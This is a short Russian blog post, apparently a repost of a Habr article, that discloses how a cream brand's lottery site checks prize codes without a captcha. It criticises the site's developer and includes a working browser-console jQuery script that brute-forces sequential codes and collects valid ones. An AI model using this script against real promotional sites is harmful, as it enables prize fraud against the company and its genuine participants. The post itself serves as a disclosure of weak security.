Сегодня вечером, я открыл пачку сливок, и заметил там маленький круглешок с кодом. Вообще в подобных мероприятиях я обычно не участвую, но мой взгляд привлекла маленькая мелочь, а именно: «код выигрыша» выглядел подобным образом: FRIMA1234123. Как заметили многие читатели, код состоит по сути из семи десятичных цифр, то есть всего у нас 10 000 000 комбинаций.
Первое же, что мне пришло в голову — это залезть на сайт для ввода кода — frima.biz/lottery, где обнаружилось, что для проверки кода не используется никакая капча. Беглый осмотр проходящего AJAX-запроса для проверки показал, что в ответ приходит JSON-объект, в котором есть поле code, которое равно 0 если код существует.
Следом за этим я открыл консоль браузера, и накидал следующий код:
t = []; i = 1111111; q = function() { jQuery.post('/lottery?task=ajax&action=checkTicketNumber', { spoof_id: 1, frmname: '', frmemail: '', 'extra_field[1]': '', 'extra_field[2]': '', ticket_number: 'FRIMA'+i }, function(res) { if(JSON.parse(res).code == 0) { t.push(i); }; if(i < 1112222) { // не будем же мы ждать все 10 000 000 запросов i += 1; q(); } }); }; q();
После этого мы можем в любой момент получить накопившийся список кодов, сделав
console.log(t);
Из кода несложно догадаться, что мы просто проверяем прямым перебором все возможные коды начиная с 1111111. Получив за минуту с десяток кодов, я удовлетворил своё эго и решил написать сюда.
В качестве итога я с осуждением смотрю на компанию TopWebDesign, которая с гордостью подписалась в футере рассмотренного сайта как разработчик этой халтуры.
ссылка на оригинал статьи http://habrahabr.ru/post/212373/
Добавить комментарий